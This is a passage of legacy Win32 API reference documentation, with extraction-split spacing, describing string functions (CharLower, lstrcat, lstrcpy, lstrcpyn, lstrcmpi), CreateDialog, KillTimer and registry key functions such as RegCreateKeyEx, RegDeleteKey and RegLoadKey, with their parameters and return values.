) ;

Par amet er s

l psz

Poi nt er t o a nul l - t er mi nat ed st r i ng or speci f i es a si ngl e char act er . I f t he
hi gh- or der wor d of t hi s par amet er i s zer o, t he l ow- or der wor d must cont ai n a
si ngl e char act er t o be conver t ed.


Ret ur n Val ues

I f t he oper and i s a char act er st r i ng, t he f unct i on r et ur ns a poi nt er t o t he
conver t ed st r i ng. Si nce t he st r i ng i s conver t ed i n pl ace, t he r et ur n val ue i s
equal t o l psz.

I f t he oper and i s a si ngl e char act er , t he r et ur n val ue i s a 32- bi t val ue whose
hi gh- or der wor d i s zer o, and l ow- or der wor d cont ai ns t he conver t ed char act er .

Ther e i s no i ndi cat i on of success or f ai l ur e. Fai l ur e i s r ar e.

Remar ks

Wi ndows NT: To make t he conver si on, t he f unct i on uses t he l anguage dr i ver f or
t he cur r ent l anguage sel ect ed by t he user at set up or by usi ng t he Cont r ol
Panel . I f no l anguage has been sel ect ed, Wi ndows compl et es t he conver si on by
usi ng i nt er nal def aul t mappi ng. The conver si on i s made based on t he code page
associ at ed wi t h t he pr ocess l ocal e.


Wi ndows 95: The f unct i on makes t he conver si on based on t he i nf or mat i on
associ at ed wi t h t he user ' s def aul t l ocal e, whi ch i s t he l ocal e sel ect ed by t he
user at set up or by usi ng t he Cont r ol Panel . Wi ndows 95 does not have l anguage
dr i ver s.

See Al so

Char Lower

CharLower

The Char Lower f unct i on conver t s a char act er st r i ng or a si ngl e char act er t o
l ower case. I f t he oper and i s a char act er st r i ng, t he f unct i on conver t s t he
char act er s i n pl ace. Thi s f unct i on super sedes t he Ansi Lower f unct i on.

LPTSTR Char Lower (
LPTSTR l psz / / si ngl e char act er or poi nt er t o st r i ng
) ;

Par amet er s

l psz

Poi nt er t o a nul l - t er mi nat ed st r i ng or speci f i es a si ngl e char act er . I f t he
hi gh- or der wor d of t hi s par amet er i s zer o, t he l ow- or der wor d must cont ai n a
si ngl e char act er t o be conver t ed.


Ret ur n Val ues

I f t he oper and i s a char act er st r i ng, t he f unct i on r et ur ns a poi nt er t o t he
conver t ed st r i ng. Si nce t he st r i ng i s conver t ed i n pl ace, t he r et ur n val ue i s
equal t o l psz.

I f t he oper and i s a si ngl e char act er , t he r et ur n val ue i s a 32- bi t val ue whose
hi gh- or der wor d i s zer o, and l ow- or der wor d cont ai ns t he conver t ed char act er .

Ther e i s no i ndi cat i on of success or f ai l ur e. Fai l ur e i s r ar e.

Remar ks

Wi ndows NT: To make t he conver si on, t he f unct i on uses t he l anguage dr i ver f or
t he cur r ent l anguage sel ect ed by t he user at set up or by usi ng t he Cont r ol
Panel . I f no l anguage has been sel ect ed, Wi ndows compl et es t he conver si on by
usi ng i nt er nal def aul t mappi ng. The conver si on i s made based on t he code page
associ at ed wi t h t he pr ocess l ocal e.


Wi ndows 95: The f unct i on makes t he conver si on based on t he i nf or mat i on
associ at ed wi t h t he user ' s def aul t l ocal e, whi ch i s t he l ocal e sel ect ed by t he
user at set up or by usi ng t he Cont r ol Panel . Wi ndows 95 does not have l anguage
dr i ver s.

See Al so

Char Lower Buf f , Char Upper

CreateDialog

The Cr eat eDi al og macr o cr eat es a model ess di al og box f r oma di al og box t empl at e
r esour ce. The Cr eat eDi al og macr o uses t he Cr eat eDi al ogPar amf unct i on.

HWND Cr eat eDi al og(
HI NSTANCE hI nst ance, / / handl e t o appl i cat i on i nst ance
LPCTSTR l pTempl at e, / / i dent i f i es di al og box t empl at e name
HWND hWndPar ent , / / handl e t o owner wi ndow
DLGPROC l pDi al ogFunc / / poi nt er t o di al og box pr ocedur e
) ;

Par amet er s

hI nst ance

I dent i f i es an i nst ance of t he modul e whose execut abl e f i l e cont ai ns t he di al og
box t empl at e.

l pTempl at e

I dent i f i es t he di al og box t empl at e. Thi s par amet er i s ei t her t he poi nt er t o a
nul l - t er mi nat ed char act er st r i ng t hat speci f i es t he name of t he di al og box
t empl at e or an i nt eger val ue t hat speci f i es t he r esour ce i dent i f i er of t he
di al og box t empl at e. I f t he par amet er speci f i es a r esour ce i dent i f i er , i t s hi gh-
or der wor d must be zer o and i t s l ow- or der wor d must cont ai n t he i dent i f i er . You
can use t he MAKEI NTRESOURCE macr o t o cr eat e t hi s val ue.

hWndPar ent

I dent i f i es t he wi ndow t hat owns t he di al og box.

l pDi al ogFunc

Poi nt s t o t he di al og box pr ocedur e. For mor e i nf or mat i on about t he di al og box
pr ocedur e, see Di al ogPr oc.

Ret ur n Val ues

I f t he f unct i on succeeds, t he r et ur n val ue i s t he handl e t o t he di al og box.
I f t he f unct i on f ai l s, t he r et ur n val ue i s NULL.

Remar ks

The Cr eat eDi al og f unct i on uses t he Cr eat eWi ndowEx f unct i on t o cr eat e t he di al og
box. Cr eat eDi al og t hen sends a WM_I NI TDI ALOG message ( and a WM_SETFONT message
i f t he t empl at e speci f i es t he DS_SETFONT st yl e) t o t he di al og box pr ocedur e. The
f unct i on di spl ays t he di al og box i f t he t empl at e speci f i es t he WS_VI SI BLE st yl e.
Fi nal l y, Cr eat eDi al og r et ur ns t he wi ndow handl e t o t he di al og box.
Af t er Cr eat eDi al og r et ur ns, t he appl i cat i on di spl ays t he di al og box ( i f i t i s
not al r eady di spl ayed) by usi ng t he ShowWi ndow f unct i on. The appl i cat i on
dest r oys t he di al og box by usi ng t he Dest r oyWi ndow f unct i on.
Wi ndows 95: The syst emcan suppor t a maxi mumof 16, 364 wi ndow handl es.

See Al so

Cr eat eDi al ogI ndi r ect , Cr eat eDi al ogI ndi r ect Par am, Cr eat eDi al ogPar am,
Cr eat eWi ndowEx, Dest r oyWi ndow, Di al ogBox, Di al ogPr oc, ShowWi ndow, WM_I NI TDI ALOG,
WM_SETFONT





KillTimer

The Ki l l Ti mer f unct i on dest r oys t he speci f i ed t i mer .

BOOL Ki l l Ti mer (

HWND hWnd, / / handl e of wi ndow t hat i nst al l ed t i mer
UI NT uI DEvent / / t i mer i dent i f i er
) ;

Par amet er s

hWnd

I dent i f i es t he wi ndow associ at ed wi t h t he speci f i ed t i mer . Thi s val ue must be
t he same as t he hWnd val ue passed t o t he Set Ti mer f unct i on t hat cr eat ed t he
t i mer .

uI DEvent

Speci f i es t he t i mer t o be dest r oyed. I f t he wi ndow handl e passed t o Set Ti mer i s
val i d, t hi s par amet er must be t he same as t he uI DEvent val ue passed t o Set Ti mer .
I f t he appl i cat i on cal l s Set Ti mer wi t h hWnd set t o NULL, t hi s par amet er must be
t he t i mer i dent i f i er r et ur ned by Set Ti mer .


Ret ur n Val ues

I f t he f unct i on succeeds, t he r et ur n val ue i s nonzer o.

I f t he f unct i on f ai l s, t he r et ur n val ue i s zer o. To get ext ended er r or
i nf or mat i on, cal l Get Last Er r or .

Remar ks

The Ki l l Ti mer f unct i on does not r emove WM_TI MER messages al r eady post ed t o t he
message queue.

See Al so

Set Ti mer


lstrcat


The l st r cat f unct i on appends one st r i ng t o anot her .

LPTSTR l st r cat (

LPTSTR l pSt r i ng1, / / addr ess of buf f er f or concat enat ed st r i ngs
LPCTSTR l pSt r i ng2 / / addr ess of st r i ng t o add t o st r i ng1
) ;

Par amet er s

l pSt r i ng1

Poi nt s t o a nul l - t er mi nat ed st r i ng. The buf f er must be l ar ge enough t o cont ai n
bot h st r i ngs.

l pSt r i ng2

Poi nt s t o t he nul l - t er mi nat ed st r i ng t o be appended t o t he st r i ng speci f i ed i n
t he l pSt r i ng1 par amet er .

Ret ur n Val ues

I f t he f unct i on succeeds, t he r et ur n val ue i s a poi nt er t o t he buf f er .


I f t he f unct i on f ai l s, t he r et ur n val ue i s NULL. To get ext ended er r or
i nf or mat i on, cal l Get Last Er r or .

See Al so

l st r cmp

lstrcmpi

The l st r cmpi f unct i on compar es t wo char act er st r i ngs. The compar i son i s not case
sensi t i ve.

i nt l st r cmpi (

LPCTSTR l pSt r i ng1, / / addr ess of f i r st st r i ng
LPCTSTR l pSt r i ng2 / / addr ess of second st r i ng
) ;

Par amet er s

l pSt r i ng1

Poi nt s t o t he f i r st nul l - t er mi nat ed st r i ng t o be compar ed.

l pSt r i ng2

Poi nt s t o t he second nul l - t er mi nat ed st r i ng t o be compar ed.

Ret ur n Val ues

I f t he f unct i on succeeds and t he st r i ng poi nt ed t o by l pSt r i ng1 i s l ess t han t he
st r i ng poi nt ed t o by l pSt r i ng2, t he r et ur n val ue i s negat i ve; i f t he st r i ng
poi nt ed t o by l pSt r i ng1 i s gr eat er t han t he st r i ng poi nt ed t o by l pSt r i ng2, i t
i s posi t i ve. I f t he st r i ngs ar e equal , t he r et ur n val ue i s zer o.


Remar ks

The l st r cmpi f unct i on compar es t wo st r i ngs by checki ng t he f i r st char act er s
agai nst each ot her , t he second char act er s agai nst each ot her , and so on unt i l i t
f i nds an i nequal i t y or r eaches t he ends of t he st r i ngs.

The f unct i on r et ur ns t he di f f er ence of t he val ues of t he f i r st unequal
char act er s i t encount er s. For exampl e, l st r cmpi det er mi nes t hat " abcz" i s
gr eat er t han " abcdef g" and r et ur ns t he di f f er ence of z and d.

The l anguage ( l ocal e) sel ect ed by t he user at set up t i me, or by usi ng t he
cont r ol panel , det er mi nes whi ch st r i ng i s gr eat er ( or whet her t he st r i ngs ar e
t he same) . I f no l anguage ( l ocal e) i s sel ect ed, Wi ndows per f or ms t he compar i son
by usi ng def aul t val ues.


For some l ocal es, t he l st r cmpi f unct i on may be i nsuf f i ci ent . I f t hi s occur s, use
Compar eSt r i ng t o ensur e pr oper compar i son. For exampl e, i n J apan cal l
Compar eSt r i ng wi t h t he I GNORE_CASE, I GNORE_KANATYPE, and I GNORE_WI DTH val ues t o
achi eve t he most appr opr i at e non- exact st r i ng compar i son. The I GNORE_KANATYPE
and I GNORE_WI DTH val ues ar e i gnor ed i n non- Asi an l ocal es, so you can set t hese
val ues f or al l l ocal es and be guar ant eed t o have a cul t ur al l y cor r ect
" i nsensi t i ve" sor t i ng r egar dl ess of t he l ocal e. Not e t hat speci f yi ng t hese
val ues sl ows per f or mance, so use t hemonl y when necessar y.


Wi t h a doubl e- byt e char act er set ( DBCS) ver si on of Wi ndows, t hi s f unct i on can
compar e t wo DBCS st r i ngs.

The Wi n32 l st r cmpi f unct i on uses a wor d sor t , r at her t han a st r i ng sor t . A wor d
sor t t r eat s hyphens and apost r ophes di f f er ent l y t han i t t r eat s ot her symbol s
t hat ar e not al phanumer i c, i n or der t o ensur e t hat wor ds such as " coop" and " co-
op" st ay t oget her wi t hi n a sor t ed l i st . Not e t hat i n 16- bi t ver si ons of Wi ndows,
l st r cmpi uses a st r i ng sor t . For a det ai l ed di scussi on of wor d sor t s and st r i ng
sor t s, see t he Remar ks sect i on of t he r ef er ence page f or t he Compar eSt r i ng
f unct i on .

See Al so

Compar eSt r i ng, l st r cmp


lstrcpy

The l st r cpy f unct i on copi es a st r i ng t o a buf f er .

LPTSTR l st r cpy(

LPTSTR l pSt r i ng1, / / addr ess of buf f er
LPCTSTR l pSt r i ng2 / / addr ess of st r i ng t o copy
) ;

Par amet er s

l pSt r i ng1

Poi nt s t o a buf f er t o r ecei ve t he cont ent s of t he st r i ng poi nt ed t o by t he
l pSt r i ng2 par amet er . The buf f er must be l ar ge enough t o cont ai n t he st r i ng,
i ncl udi ng t he t er mi nat i ng nul l char act er .

l pSt r i ng2

Poi nt s t o t he nul l - t er mi nat ed st r i ng t o be copi ed.

Ret ur n Val ues

I f t he f unct i on succeeds, t he r et ur n val ue i s a poi nt er t o t he buf f er .


I f t he f unct i on f ai l s, t he r et ur n val ue i s NULL. To get ext ended er r or
i nf or mat i on, cal l Get Last Er r or .

Remar ks

Wi t h a doubl e- byt e char act er set ( DBCS) ver si on of Wi ndows, t hi s f unct i on can be
used t o copy a DBCS st r i ng.

See Al so

l st r cat , l st r cpyn

lstrcpyn

The l st r cpyn f unct i on copi es a speci f i ed number of char act er s f r oma sour ce
st r i ng i nt o a buf f er .


LPTSTR l st r cpyn(

LPTSTR l pSt r i ng1, / / addr ess of t ar get buf f er
LPCTSTR l pSt r i ng2, / / addr ess of sour ce st r i ng
i nt i MaxLengt h / / number of byt es or char act er s t o copy
) ;

Par amet er s

l pSt r i ng1

Poi nt s t o a buf f er i nt o whi ch t he f unct i on copi es char act er s. The buf f er must be
l ar ge enough t o cont ai n t he number of byt es ( ANSI ver si on) or char act er s
( Uni code ver si on) speci f i ed by i MaxLengt h, i ncl udi ng r oomf or a t er mi nat i ng nul l
char act er .

l pSt r i ng2


Poi nt s t o a nul l - t er mi nat ed st r i ng f r omwhi ch t he f unct i on copi es char act er s.

i MaxLengt h

Speci f i es t he number byt es ( ANSI ver si on) or char act er s ( Uni code ver si on) t o be
copi ed f r omt he st r i ng poi nt ed t o by l pSt r i ng2 i nt o t he buf f er poi nt ed t o by
l pSt r i ng1, i ncl udi ng a t er mi nat i ng nul l char act er .

Ret ur n Val ues

I f t he f unct i on succeeds, t he r et ur n val ue i s a poi nt er t o t he buf f er .

I f t he f unct i on f ai l s, t he r et ur n val ue i s NULL. To get ext ended er r or
i nf or mat i on, cal l Get Last Er r or .


Remar ks

Not e t hat t he buf f er poi nt ed t o by l pSt r i ng1 must be l ar ge enough t o i ncl ude a
t er mi nat i ng nul l char act er , and t he st r i ng l engt h val ue speci f i ed by i MaxLengt h
i ncl udes r oomf or a t er mi nat i ng nul l char act er . Thus, t he f ol l owi ng code

TCHAR chBuf f er [ 512] ;

l st r cpyn( chBuf f er , " abcdef ghi j kl mnop" , 4) ;

. . . copi es t he st r i ng " abc" , f ol l owed by a t er mi nat i ng nul l char act er , t o
chBuf f er .

See Al so

l st r cat , l st r cpy

RegCreateKey


The RegCr eat eKey f unct i on cr eat es t he speci f i ed key. I f t he key al r eady exi st s
i n t he r egi st r y, t he f unct i on opens i t . Thi s f unct i on i s pr ovi ded f or
compat i bi l i t y wi t h Wi ndows ver si on 3. 1. Wi n32- based appl i cat i ons shoul d use t he
RegCr eat eKeyEx f unct i on.


LONG RegCr eat eKey(

HKEY hKey, / / handl e of an open key
LPCTSTR l pSubKey, / / addr ess of name of subkey t o open
PHKEY phkResul t / / addr ess of buf f er f or opened handl e
) ;

Par amet er s

hKey

I dent i f i es a cur r ent l y open key or any of t he f ol l owi ng pr edef i ned r eser ved
handl e val ues:

HKEY_CLASSES_ROOT
HKEY_CURRENT_USER
HKEY_LOCAL_MACHI NE
HKEY_USERS

The key opened or cr eat ed by t hi s f unct i on i s a subkey of t he key i dent i f i ed by
hKey.

l pSubKey


Poi nt s t o a nul l - t er mi nat ed st r i ng speci f yi ng t he name of a key t hat t hi s
f unct i on opens or cr eat es. Thi s key must be a subkey of t he key i dent i f i ed by
t he hKey par amet er .

I f hKey i s one of t he pr edef i ned keys, l pSubKey may be NULL. I n t hat case, t he
handl e r et ur ned by usi ng phkResul t i s t he same hKey handl e passed i n t o t he
f unct i on.

phkResul t

Poi nt s t o a var i abl e t hat r ecei ves t he handl e of t he opened or cr eat ed key.

Ret ur n Val ues

I f t he f unct i on succeeds, t he r et ur n val ue i s ERROR_SUCCESS.


I f t he f unct i on f ai l s, t he r et ur n val ue i s a nonzer o er r or code def i ned i n
WI NERROR. H. You can use t he For mat Message f unct i on wi t h t he
FORMAT_MESSAGE_FROM_SYSTEM f l ag t o get a gener i c descr i pt i on of t he er r or .

Remar ks

An appl i cat i on can use t he RegCr eat eKey f unct i on t o cr eat e sever al keys at once.
For exampl e, an appl i cat i on can cr eat e a subkey f our l evel s deep at t he same
t i me as t he t hr ee pr ecedi ng subkeys by speci f yi ng a st r i ng of t he f ol l owi ng f or m
f or t he l pSubKey par amet er :


subkey1\ subkey2\ subkey3\ subkey4

The key i dent i f i ed by t he hKey par amet er must have been opened wi t h
KEY_CREATE_SUB_KEY access ( KEY_WRI TE access i ncl udes KEY_CREATE_SUB_KEY access) .

I f t he l pSubKey par amet er i s t he addr ess of an empt y st r i ng, t he f unct i on opens
and t hen passes back t he key i dent i f i ed by t he hKey par amet er .

See Al so

RegCl oseKey, RegCr eat eKeyEx, RegDel et eKey, RegOpenKey

RegCloseKey

The RegCl oseKey f unct i on r el eases t he handl e of t he speci f i ed key.

LONG RegCl oseKey(

HKEY hKey / / handl e of key t o cl ose
) ;

Par amet er s

hKey

I dent i f i es t he open key t o cl ose.

Ret ur n Val ues

I f t he f unct i on succeeds, t he r et ur n val ue i s ERROR_SUCCESS.

I f t he f unct i on f ai l s, t he r et ur n val ue i s a nonzer o er r or code def i ned i n
WI NERROR. H. You can use t he For mat Message f unct i on wi t h t he
FORMAT_MESSAGE_FROM_SYSTEM f l ag t o get a gener i c descr i pt i on of t he er r or .

Remar ks

The handl e f or a speci f i ed key shoul d not be used af t er i t has been cl osed,
because i t wi l l no l onger be val i d. Key handl es shoul d not be l ef t open any
l onger t han necessar y.

The RegCl oseKey f unct i on does not necessar i l y wr i t e i nf or mat i on t o t he r egi st r y
bef or e r et ur ni ng; i t can t ake as much as sever al seconds f or t he cache t o be
f l ushed t o t he har d di sk. I f an appl i cat i on must expl i ci t l y wr i t e r egi st r y
i nf or mat i on t o t he har d di sk, i t can use t he RegFl ushKey f unct i on. RegFl ushKey,
however , uses many syst emr esour ces and shoul d be cal l ed onl y when necessar y.

See Al so

RegCr eat eKey, RegCr eat eKeyEx, RegDel et eKey, RegFl ushKey, RegOpenKey,
RegOpenKeyEx, RegSet Val ue, RegSet Val ueEx

RegCreateKeyEx


The RegCr eat eKeyEx f unct i on cr eat es t he speci f i ed key. I f t he key al r eady exi st s
i n t he r egi st r y, t he f unct i on opens i t .


LONG RegCr eat eKeyEx(

HKEY hKey, / / handl e of an open key
LPCTSTR l pSubKey, / / addr ess of subkey name
DWORD Reser ved, / / r eser ved
LPTSTR l pCl ass, / / addr ess of cl ass st r i ng
DWORD dwOpt i ons, / / speci al opt i ons f l ag
REGSAM samDesi r ed, / / desi r ed secur i t y access
LPSECURI TY_ATTRI BUTES l pSecur i t yAt t r i but es, / / addr ess of key secur i t y
st r uct ur e
PHKEY phkResul t , / / addr ess of buf f er f or opened handl e
LPDWORD l pdwDi sposi t i on / / addr ess of di sposi t i on val ue buf f er

) ;

Par amet er s

hKey

I dent i f i es a cur r ent l y open key or any of t he f ol l owi ng pr edef i ned r eser ved
handl e val ues:

HKEY_CLASSES_ROOT
HKEY_CURRENT_USER
HKEY_LOCAL_MACHI NE
HKEY_USERS

The key opened or cr eat ed by t he RegCr eat eKeyEx f unct i on i s a subkey of t he key
i dent i f i ed by t he hKey par amet er .

l pSubKey

Poi nt s t o a nul l - t er mi nat ed st r i ng speci f yi ng t he name of a subkey t hat t hi s
f unct i on opens or cr eat es. The subkey speci f i ed must be a subkey of t he key
i dent i f i ed by t he hKey par amet er . Thi s subkey must not begi n wi t h t he backsl ash
char act er ( ' \ ' ) . Thi s par amet er cannot be NULL.


Reser ved

Reser ved; must be zer o.

l pCl ass

Poi nt s t o a nul l - t er mi nat ed st r i ng t hat speci f i es t he cl ass ( obj ect t ype) of
t hi s key. Thi s par amet er i s i gnor ed i f t he key al r eady exi st s.

dwOpt i ons

Speci f i es speci al opt i ons f or t he key. Thi s par amet er can be one of t he
f ol l owi ng val ues.

REG_OPTI ON_NON_VOLATI LE
Thi s key i s not vol at i l e; t hi s i s t he def aul t . The i nf or mat i on i s st or ed i n a
f i l e and i s pr eser ved when t he syst emi s r est ar t ed. The RegSaveKey f unct i on
saves keys t hat ar e not vol at i l e.


REG_OPTI ON_VOLATI LE
Wi ndows NT: Thi s key i s vol at i l e; t he i nf or mat i on i s st or ed i n memor y and i s not
pr eser ved when t he syst emi s r est ar t ed. The RegSaveKey f unct i on does not save
vol at i l e keys. Thi s f l ag i s i gnor ed i f t he key al r eady exi st s.

Wi ndows 95: Thi s val ue i s i gnor ed i n Wi ndows 95. I f REG_OPTI ON_VOLATI LE i s
speci f i ed, t he RegCr eat eKeyEx f unct i on cr eat es a nonvol at i l e key and r et ur ns
ERROR_SUCCESS.

REG_OPTI ON_BACKUP_RESTORE
Wi ndows NT: I f t hi s f l ag i s set , t he f unct i on i gnor es t he samDesi r ed par amet er
and at t empt s t o open t he key wi t h t he access r equi r ed t o backup or r est or e t he
key. I f t he cal l i ng t hr ead has t he SE_BACKUP_NAME pr i vi l ege enabl ed, t he key i s
opened wi t h ACCESS_SYSTEM_SECURI TY and KEY_READ access. I f t he cal l i ng t hr ead
has t he SE_RESTORE_NAME pr i vi l ege enabl ed, t he key i s opened wi t h
ACCESS_SYSTEM_SECURI TY and KEY_WRI TE access. I f bot h pr i vi l eges ar e enabl ed, t he
key has t he combi ned accesses f or bot h pr i vi l eges.
Wi ndows 95: Thi s f l ag i s i gnor ed. Wi ndows 95 does not suppor t secur i t y i n i t s
r egi st r y.

samDesi r ed

Speci f i es an access mask t hat speci f i es t he desi r ed secur i t y access f or t he new
key. Thi s par amet er can be a combi nat i on of t he f ol l owi ng val ues:

KEY_ALL_ACCESS
Combi nat i on of KEY_QUERY_VALUE, KEY_ENUMERATE_SUB_KEYS, KEY_NOTI FY,
KEY_CREATE_SUB_KEY, KEY_CREATE_LI NK, and KEY_SET_VALUE access.

KEY_CREATE_LI NK
Per mi ssi on t o cr eat e a symbol i c l i nk.


KEY_CREATE_SUB_KEY
Per mi ssi on t o cr eat e subkeys.

KEY_ENUMERATE_SUB_KEYS
Per mi ssi on t o enumer at e subkeys.

KEY_EXECUTE
Per mi ssi on f or r ead access.

KEY_NOTI FY
Per mi ssi on f or change not i f i cat i on.

KEY_QUERY_VALUE
Per mi ssi on t o quer y subkey dat a.

KEY_READ
Combi nat i on of KEY_QUERY_VALUE, KEY_ENUMERATE_SUB_KEYS, and KEY_NOTI FY access.

KEY_SET_VALUE
Per mi ssi on t o set subkey dat a.

KEY_WRI TE

Combi nat i on of KEY_SET_VALUE and KEY_CREATE_SUB_KEY access.


l pSecur i t yAt t r i but es

Poi nt er t o a SECURI TY_ATTRI BUTES st r uct ur e t hat det er mi nes whet her t he r et ur ned
handl e can be i nher i t ed by chi l d pr ocesses. I f l pSecur i t yAt t r i but es i s NULL, t he
handl e cannot be i nher i t ed.

Wi ndows NT: The l pSecur i t yDescr i pt or member of t he st r uct ur e speci f i es a
secur i t y descr i pt or f or t he new key. I f l pSecur i t yAt t r i but es i s NULL, t he key
get s a def aul t secur i t y descr i pt or .

Wi ndows 95: The l pSecur i t yDescr i pt or member of t he st r uct ur e i s i gnor ed.


phkResul t

Poi nt s t o a var i abl e t hat r ecei ves t he handl e of t he opened or cr eat ed key.

l pdwDi sposi t i on

Poi nt s t o a var i abl e t hat r ecei ves one of t he f ol l owi ng di sposi t i on val ues:

REG_CREATED_NEW_KEY
The key di d not exi st and was cr eat ed.

REG_OPENED_EXI STI NG_KEY
The key exi st ed and was si mpl y opened wi t hout bei ng changed.

Ret ur n Val ues

I f t he f unct i on succeeds, t he r et ur n val ue i s ERROR_SUCCESS.

I f t he f unct i on f ai l s, t he r et ur n val ue i s a nonzer o er r or code def i ned i n
WI NERROR. H. You can use t he For mat Message f unct i on wi t h t he
FORMAT_MESSAGE_FROM_SYSTEM f l ag t o get a gener i c descr i pt i on of t he er r or .


Remar ks

The key t hat t he RegCr eat eKeyEx f unct i on cr eat es has no val ues. An appl i cat i on
can use t he RegSet Val ue or RegSet Val ueEx f unct i on t o set key val ues.

The key i dent i f i ed by t he hKey par amet er must have been opened wi t h
KEY_CREATE_SUB_KEY access. To open t he key, use t he RegCr eat eKeyEx or
RegOpenKeyEx f unct i on.

An appl i cat i on cannot cr eat e a key under HKEY_USERS or HKEY_LOCAL_MACHI NE.

An appl i cat i on can use RegCr eat eKeyEx t o t empor ar i l y l ock a por t i on of t he
r egi st r y. When t he l ocki ng pr ocess cr eat es a new key, i t r ecei ves t he
di sposi t i on val ue REG_CREATED_NEW_KEY, i ndi cat i ng t hat i t " owns" t he l ock.
Anot her pr ocess at t empt i ng t o cr eat e t he same key r ecei ves t he di sposi t i on val ue
REG_OPENED_EXI STI NG_KEY, i ndi cat i ng t hat anot her pr ocess al r eady owns t he l ock.


See Al so

RegCl oseKey, RegCr eat eKey, RegDel et eKey, RegOpenKey, RegOpenKeyEx

RegDeleteKey


Wi ndows 95: The RegDel et eKey f unct i on del et es a key and al l i t s descendent s.

Wi ndows NT: The RegDel et eKey f unct i on del et es t he speci f i ed key. Thi s f unct i on
cannot del et e a key t hat has subkeys.

LONG RegDel et eKey(

HKEY hKey, / / handl e of open key
LPCTSTR l pSubKey / / addr ess of name of subkey t o del et e
) ;

Par amet er s

hKey

I dent i f i es a cur r ent l y open key or any of t he f ol l owi ng pr edef i ned r eser ved
handl e val ues:

HKEY_CLASSES_ROOT
HKEY_CURRENT_USER
HKEY_LOCAL_MACHI NE
HKEY_USERS

The key speci f i ed by t he l pSubKey par amet er must be a subkey of t he key
i dent i f i ed by hKey.

l pSubKey

Poi nt s t o a nul l - t er mi nat ed st r i ng speci f yi ng t he name of t he key t o del et e.
Thi s par amet er cannot be NULL, and t he speci f i ed key must not have subkeys.


Ret ur n Val ues

I f t he f unct i on succeeds, t he r et ur n val ue i s ERROR_SUCCESS.

I f t he f unct i on f ai l s, t he r et ur n val ue i s a nonzer o er r or code def i ned i n
WI NERROR. H. You can use t he For mat Message f unct i on wi t h t he
FORMAT_MESSAGE_FROM_SYSTEM f l ag t o get a gener i c descr i pt i on of t he er r or .

Remar ks

I f t he f unct i on succeeds, RegDel et eKey r emoves t he speci f i ed key f r omt he
r egi st r y. The ent i r e key, i ncl udi ng al l of i t s val ues, i s r emoved.

To open t he key, use t he RegCr eat eKeyEx or RegOpenKeyEx f unct i on. Do not use t he
RegCr eat eKey or RegOpenKey f unct i ons.


See Al so

RegCl oseKey

RegLoadKey

The RegLoadKey f unct i on cr eat es a subkey under HKEY_USER or HKEY_LOCAL_MACHI NE
and st or es r egi st r at i on i nf or mat i on f r oma speci f i ed f i l e i nt o t hat subkey. Thi s
r egi st r at i on i nf or mat i on i s i n t he f or mof a hi ve. A hi ve i s a di scr et e body of
keys, subkeys, and val ues t hat i s r oot ed at t he t op of t he r egi st r y hi er ar chy. A
hi ve i s backed by a si ngl e f i l e and . LOG f i l e.



LONG RegLoadKey(

HKEY hKey, / / handl e of open key
LPCTSTR l pSubKey, / / addr ess of name of subkey
LPCTSTR l pFi l e / / addr ess of f i l ename f or r egi st r y i nf or mat i on
) ;

Par amet er s

hKey

Speci f i es t he key wher e t he subkey wi l l be cr eat ed. Thi s can be a pr edef i ned
r eser ved handl e val ue, or a handl e r et ur ned by a cal l t o RegConnect Regi st r y. The
pr edef i ned r eser ved handl e val ues ar e:

HKEY_LOCAL_MACHI NE
HKEY_USERS

Thi s f unct i on al ways l oads i nf or mat i on at t he t op of t he r egi st r y hi er ar chy. The
HKEY_CLASSES_ROOT and HKEY_CURRENT_USER handl e val ues cannot be speci f i ed f or
t hi s par amet er , because t hey r epr esent subset s of t he HKEY_LOCAL_MACHI NE and
HKEY_USERS handl e val ues, r espect i vel y.


l pSubKey

Poi nt s t o a nul l - t er mi nat ed st r i ng t hat speci f i es t he name of t he key t o be
cr eat ed under hKey. Thi s subkey i s wher e t he r egi st r at i on i nf or mat i on f r omt he
f i l e wi l l be l oaded.

l pFi l e

Poi nt s t o a nul l - t er mi nat ed st r i ng cont ai ni ng t he name of a f i l e t hat has
r egi st r at i on i nf or mat i on. Thi s f i l e must have been cr eat ed wi t h t he RegSaveKey
f unct i on. Under t he f i l e al l ocat i on t abl e ( FAT) f i l e syst em, t he f i l ename may
not have an ext ensi on.

Ret ur n Val ues


I f t he f unct i on succeeds, t he r et ur n val ue i s ERROR_SUCCESS.

I f t he f unct i on f ai l s, t he r et ur n val ue i s a nonzer o er r or code def i ned i n
WI NERROR. H. You can use t he For mat Message f unct i on wi t h t he
FORMAT_MESSAGE_FROM_SYSTEM f l ag t o get a gener i c descr i pt i on of t he er r or .

Remar ks

I f hKey i s a handl e r et ur ned by RegConnect Regi st r y, t hen t he pat h speci f i ed i n
l pFi l e i s r el at i ve t o t he r emot e comput er .

Wi ndows NT: The cal l i ng pr ocess must have t he SE_RESTORE_NAME pr i vi l ege. For
mor e i nf or mat i on about pr i vi l eges, see Pr i vi l eges.


Wi ndows 95: Secur i t y pr i vi l eges ar e not suppor t ed or r equi r ed.

See Al so

RegConnect Regi st r y, RegDel et eKey, RegRepl aceKey, RegRest or eKey


RegOpenKey


The RegOpenKey f unct i on opens t he speci f i ed key. Thi s f unct i on i s pr ovi ded f or
compat i bi l i t y wi t h Wi ndows ver si on 3. 1. Wi n32- based appl i cat i ons shoul d use t he
RegOpenKeyEx f unct i on.



LONG RegOpenKey(

HKEY hKey, / / handl e of open key
LPCTSTR l pSubKey, / / addr ess of name of subkey t o open
PHKEY phkResul t / / addr ess of handl e of open key
) ;

Par amet er s

hKey

I dent i f i es a cur r ent l y open key or any of t he f ol l owi ng pr edef i ned r eser ved
handl e val ues:

HKEY_CLASSES_ROOT
HKEY_CURRENT_USER
HKEY_LOCAL_MACHI NE
HKEY_USERS

The key opened by t he RegOpenKey f unct i on i s a subkey of t he key i dent i f i ed by
hKey.

l pSubKey

Poi nt s t o a nul l - t er mi nat ed st r i ng cont ai ni ng t he name of t he key t o open. Thi s
key must be a subkey of t he key i dent i f i ed by t he hKey par amet er . I f t hi s
par amet er i s NULL or a poi nt er t o an empt y st r i ng, t he f unct i on r et ur ns t he same
handl e t hat was passed i n.


phkResul t

Poi nt s t o a var i abl e t hat r ecei ves t he handl e of t he opened key.

Ret ur n Val ues

I f t he f unct i on succeeds, t he r et ur n val ue i s ERROR_SUCCESS.

I f t he f unct i on f ai l s, t he r et ur n val ue i s a nonzer o er r or code def i ned i n
WI NERROR. H. You can use t he For mat Message f unct i on wi t h t he
FORMAT_MESSAGE_FROM_SYSTEM f l ag t o get a gener i c descr i pt i on of t he er r or .

Remar ks

